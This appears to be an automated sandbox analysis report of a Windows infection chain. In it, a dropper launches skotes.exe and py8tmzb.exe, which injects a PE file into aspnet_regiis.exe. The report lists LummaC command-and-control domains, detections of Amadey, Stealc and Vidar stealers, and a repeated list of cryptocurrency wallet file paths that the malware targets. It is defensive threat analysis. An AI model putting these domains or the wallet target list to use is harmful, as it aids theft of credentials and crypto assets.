Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2950000 protect: page execute and read and write

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2950000 value starts with: 4D5A

LummaC encrypted strings found

Source: py8tmzb.exe, 00000012.00000000.3208326658.0000000000BC2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: rapeflowwj.lat
Source: py8tmzb.exe, 00000012.00000000.3208326658.0000000000BC2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: crosshuaht.lat
Source: py8tmzb.exe, 00000012.00000000.3208326658.0000000000BC2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: sustainskelet.lat
Source: py8tmzb.exe, 00000012.00000000.3208326658.0000000000BC2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: aspecteirs.lat
Source: py8tmzb.exe, 00000012.00000000.3208326658.0000000000BC2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: energyaffai.lat
Source: py8tmzb.exe, 00000012.00000000.3208326658.0000000000BC2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: necklacebudi.lat
Source: py8tmzb.exe, 00000012.00000000.3208326658.0000000000BC2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: discokeyus.lat
Source: py8tmzb.exe, 00000012.00000000.3208326658.0000000000BC2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: grannyejh.lat
Source: py8tmzb.exe, 00000012.00000000.3208326658.0000000000BC2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: sweepyribs.lat

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2950000
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2951000
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2990000
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2993000
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 29A3000
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 29A4000
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2951000
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2990000
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2993000
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 29A3000
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 29A4000
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2BCB008

Source: C:\Users\user\Desktop\R2CgZG545D.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\EHJKKKFIIJ.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\EHJKKKFIIJ.exe "C:\Users\user\Documents\EHJKKKFIIJ.exe"	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe "C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe"
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"

Source: C:\Users\user\Desktop\R2CgZG545D.exe

Code function: 0_2_6C724760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C724760

Source: C:\Users\user\Desktop\R2CgZG545D.exe

Code function: 0_2_6C601C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6C601C30

Source: EHJKKKFIIJ.exe, EHJKKKFIIJ.exe, 0000000E.00000002.2669664428.0000000000AB9000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, skotes.exe, 0000000F.00000002.2709499570.00000000003B9000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000010.00000002.2709753657.00000000003B9000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Program Manager
Source: R2CgZG545D.exe, 00000000.00000002.2641763598.0000000000C75000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 0Program Manager

Source: C:\Users\user\Desktop\R2CgZG545D.exe

Code function: 0_2_6C6DAE71 cpuid

0_2_6C6DAE71

Source: C:\Users\user\Desktop\R2CgZG545D.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\R2CgZG545D.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe VolumeInformation

Source: C:\Users\user\Desktop\R2CgZG545D.exe

Code function: 0_2_6C6DA8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6C6DA8DC

Source: C:\Users\user\Desktop\R2CgZG545D.exe

Code function: 0_2_6C628390 NSS_GetVersion,

0_2_6C628390

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 15.2.skotes.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.EHJKKKFIIJ.exe.880000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.skotes.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.skotes.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.2708866072.0000000000181000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2708693110.0000000000181000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3321099664.0000000000181000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.3106468001.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2625848602.00000000052D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2668461623.00000000047D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2666945219.0000000000881000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2668310067.00000000047B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2077795159.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2640384429.0000000000851000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2642961226.000000000138E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: R2CgZG545D.exe PID: 5044, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: R2CgZG545D.exe PID: 5044, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
